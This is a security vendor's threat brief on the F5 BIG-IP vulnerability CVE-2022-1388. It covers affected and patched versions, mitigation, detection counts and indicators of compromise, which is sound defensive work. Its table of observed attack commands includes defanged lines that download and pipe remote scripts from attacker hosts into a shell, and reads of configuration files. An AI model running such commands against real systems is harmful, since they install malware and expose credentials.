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Threat Brief: CVE-2022-1388 ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 2 min read Related Products [![Advanced Threat Prevention icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced Threat Prevention](https://unit42.paloaltonetworks.com/product-category/advanced-threat-prevention/ "Advanced Threat Prevention")[![Next-Generation Firewall icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Next-Generation Firewall](https://unit42.paloaltonetworks.com/product-category/next-generation-firewall/ "Next-Generation Firewall") * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) By: * [Unit 42](https://unit42.paloaltonetworks.com/author/unit42/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) Published:May 10, 2022 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) Categories: * [High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) * [Vulnerabilities](https://unit42.paloaltonetworks.com/category/vulnerabilities/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) Tags: * [BIG-IP](https://unit42.paloaltonetworks.com/tag/big-ip/) * [CVE-2022-1388](https://unit42.paloaltonetworks.com/tag/cve-2022-1388/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/cve-2022-1388/?pdf=download&lg=en&_wpnonce=40dbae5d0f "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/cve-2022-1388/?pdf=print&lg=en&_wpnonce=40dbae5d0f "Click here to print") Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=Threat%20Brief:%20CVE-2022-1388&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fcve-2022-1388%2F "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fcve-2022-1388%2F "Share in Facebook") * [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fcve-2022-1388%2F&title=Threat%20Brief:%20CVE-2022-1388 "Share in LinkedIn") * [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fcve-2022-1388%2F&text=Threat%20Brief:%20CVE-2022-1388 "Share in Twitter") * [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fcve-2022-1388%2F&ts=markdown "Share in Reddit") * [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=Threat%20Brief:%20CVE-2022-1388%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fcve-2022-1388%2F "Share in Mastodon") ## Executive Summary On May 4, 2022, F5 released a security [advisory](https://support.f5.com/csp/article/K23605346) for a remote code execution vulnerability in the iControlREST component of its BIG-IP product tracked in [CVE-2022-1388](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388). Threat actors can exploit this vulnerability to bypass authentication and run arbitrary code on unpatched systems. This is a critical vulnerability that needs immediate attention, as it was given a [9.8 CVSS score](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Since the release of this advisory, mass scanning activity has started to occur, seeking unpatched systems, and in-the-wild exploitation has begun. Palo Alto Networks released a Threat Prevention signature for the F5 BIG-IP Authentication Bypass Vulnerability (92570) and within just 10 hours, the signature triggered 2,552 times due to vulnerability scanning and active exploitation attempts. Unit 42 recommends customers upgrade to the latest release of F5 BIG-IP products. Palo Alto Networks Next Generation Firewall Threat Prevention customers are protected with Signature 92570. |----------------|-------------------------------------------------------------------------------| | CVEs discussed | [CVE-2022-1388](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388) | ## Vulnerable Systems The F5 product vulnerable to CVE-2022-1388 is BIG-IP with the following versions: * 16\.1.0 - 16.1.2 * 15\.1.0 - 15.1.5 * 14\.1.0 - 14.1.4 * 13\.1.0 - 13.1.4 * 12\.1.0 - 12.1.6 * 11\.6.1 - 11.6.5 The vulnerability exists within the iControl REST framework used by BIG-IP. ## Mitigation Actions We recommend that customers update their F5 BIG-IP deployments to one of the following versions that have patches to mitigate CVE-2022-1388: * 17\.0.0 * 16\.1.2.2 * 15\.1.5.1 * 14\.1.4.6 * 13\.1.5 Until you can install the patched versions of BIG-IP, see the Mitigation section on the [F5 security advisory](https://support.f5.com/csp/article/K23605346) for information on how to mitigate this vulnerability via a workaround to limit the vulnerable component to trusted networks. ## Observed in the Wild In response to the F5 security advisory, Palo Alto Networks released the Threat Prevention signature F5 BIG-IP Authentication Bypass Vulnerability (92570) on May 9. We observed this signature triggered 2,552 times between 4:47 and 14:00 UTC on May 10. We were able to analyze 2,151 packets that triggered the signature and observed both vulnerability scanning activity and active exploitation attempts. Table 1 shows the commands that would be executed in the event of successful exploitation. These were found by analysis of the packet captures that triggered the F5 BIG-IP Authentication Bypass Vulnerability signature. |-----------|--------------------------------------------------------------------------| | **Count** | **Command** | | 1954 | id | | 125 | cat /config/bigip.conf | | 24 | cat /etc/profile | | 19 | curl -o- -L hxxp://20.239.193\[.\]47/kele.sh| sh \> /dev/null 2\>\&1 \& | | 13 | whoami | | 11 | find /usr/local/www -name \*.php | xargs grep eval | | 3 | curl -fsLk hxxps://transfer\[.\]sh/dlxo3I/1.sh | sh | | 1 | wget hxxp://20.187.86\[.\]47/dadda;chmod 777 \*;./dadda | | 1 | curl -o- -L hxxp://20.239.193\[.\]47/kele1|sh | *Table 1. Commands observed in CVE-2022-1388 exploitation attempts.* ## Conclusion Palo Alto Networks customers receive protections against the exploitation of this vulnerability in the following ways: * [Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall) with a [Threat Prevention](https://www.paloaltonetworks.com/products/secure-the-network/subscriptions/threat-prevention) security subscription (running Applications and Threat content update version 8567) can automatically block sessions related to this vulnerability using the F5 BIG-IP Authentication Bypass Vulnerability signature (Threat ID 92570). Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available. ## Additional Resources [K23605346: BIG-IP iControl REST vulnerability CVE-2022-1388](https://support.f5.com/csp/article/K23605346) [EnemyBot Attempts to Exploit CVE-2022-1388](https://twitter.com/Unit42_Intel/status/1524839084476223492) ## Indicators of Compromise ### Payload SHA256 30f7e1998d162dfad69d6d8abb763ae4033bbd4a015d170b1ad3e20d39cd4e20 da647646cd36a3acb716b4266e9032f9c1caf555b7667e1dbe5bef89e7d2fdbb b39d2a1202351d3be5d9906ec47ee05c305302124dddec5538dc7b9924c6b85d ad6d44c70f83431bedf890967f2da0607c9b1f79591fb1b2697160f5b1c1a75c 1f93a6696f7bf1b2067cc503583deb4840404ebeeba89579bd303f57000baeb7 9a72aab2a3d1d6e66c185966597a52a8726ca25f5d9e2195af44f98d8b1847d5 53214f4d2d2dfd02b46f416cbdcb6f3a764820a50da4d59926f829b96cf82a6c ### Source IPv4 20\.187.67\[.\]224 192\.132.218\[.\]149 85\.203.23\[.\]73 116\.48.110\[.\]159 ### Hosting URLs hxxps://transfer\[.\]sh/dlxo3I/1.sh hxxp://20.239.193\[.\]47/kele.sh hxxp://20.239.193\[.\]47/kele1 hxxp://20.187.86\[.\]47/dadda *Updated May 16, 2022* Back to top ### Tags * [BIG-IP](https://unit42.paloaltonetworks.com/tag/big-ip/ "BIG-IP") * [CVE-2022-1388](https://unit42.paloaltonetworks.com/tag/cve-2022-1388/ "CVE-2022-1388") [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: Cobalt Strike Analysis and Tutorial: CS Metadata Encoding and Decoding](https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encoding-decoding/ "Cobalt Strike Analysis and Tutorial: CS Metadata Encoding and Decoding") ### Table of Contents * ### Related Articles ## Related Vulnerabilities Resources ![Pictorial representation of a group of people interacting with a dynamic 3D holographic display of colorful, undulating data waves on a table.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/09/11_Myth-Busting_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/08/Insights-icon-white.svg)Insights](https://unit42.paloaltonetworks.com/category/insights/) August 4, 2026 [#### The Frontier AI Vulnerability Burst: Industrializing Autonomous Zero-Day Discovery in Open-Source Software](https://unit42.paloaltonetworks.com/frontier-ai-vulnerability-burst/) * [AI](https://unit42.paloaltonetworks.com/tag/ai/ "AI") * [Frontier AI](https://unit42.paloaltonetworks.com/tag/frontier-ai/ "Frontier AI") * [Vulnerability Exploitation](https://unit42.paloaltonetworks.com/tag/vulnerability-exploitation/ "Vulnerability Exploitation") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/frontier-ai-vulnerability-burst/ "The Frontier AI Vulnerability Burst: Industrializing Autonomous Zero-Day Discovery in Open-Source Software") ![Pictorial representation of AI-enabled autonomous cyberattacks. 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The peaks are accentuated by glowing particles and an abstract, starry backdrop, creating a futuristic landscape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/14_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) February 19, 2026 [#### VShell and SparkRAT Observed in Exploitation of BeyondTrust Critical Vulnerability (CVE-2026-1731)](https://unit42.paloaltonetworks.com/beyondtrust-cve-2026-1731/) * [Bash](https://unit42.paloaltonetworks.com/tag/bash/ "bash") * [CVE-2026-1731](https://unit42.paloaltonetworks.com/tag/cve-2026-1731/ "CVE-2026-1731") * [PowerShell](https://unit42.paloaltonetworks.com/tag/powershell/ "PowerShell") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/beyondtrust-cve-2026-1731/ "VShell and SparkRAT Observed in Exploitation of BeyondTrust Critical Vulnerability (CVE-2026-1731)") ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/AdobeStock_1020436911-786x440.jpeg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) February 17, 2026 [#### Critical Vulnerabilities in Ivanti EPMM Exploited](https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/) * [CVE-2026-1281](https://unit42.paloaltonetworks.com/tag/cve-2026-1281/ "CVE-2026-1281") * [CVE-2026-1340](https://unit42.paloaltonetworks.com/tag/cve-2026-1340/ "CVE-2026-1340") * [Ivanti](https://unit42.paloaltonetworks.com/tag/ivanti/ "Ivanti") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/ "Critical Vulnerabilities in Ivanti EPMM Exploited") ![Pictorial representation of CVE-2025-0921. Digital illustration of a map of North America with interconnected glowing lines and dots symbolizing network connections across the continent.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/01/06_Vulnerabilities_1920x900-2-1-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) January 30, 2026 [#### Privileged File System Vulnerability Present in a SCADA System](https://unit42.paloaltonetworks.com/iconics-suite-cve-2025-0921/) * [CVE-2025-0921](https://unit42.paloaltonetworks.com/tag/cve-2025-0921/ "CVE-2025-0921") * [Privilege escalation](https://unit42.paloaltonetworks.com/tag/privilege-escalation/ "privilege escalation") * [SCADA](https://unit42.paloaltonetworks.com/tag/scada/ "SCADA") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/iconics-suite-cve-2025-0921/ "Privileged File System Vulnerability Present in a SCADA System") * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]() ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png) ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42 ## Peace of mind comes from staying ahead of threats. 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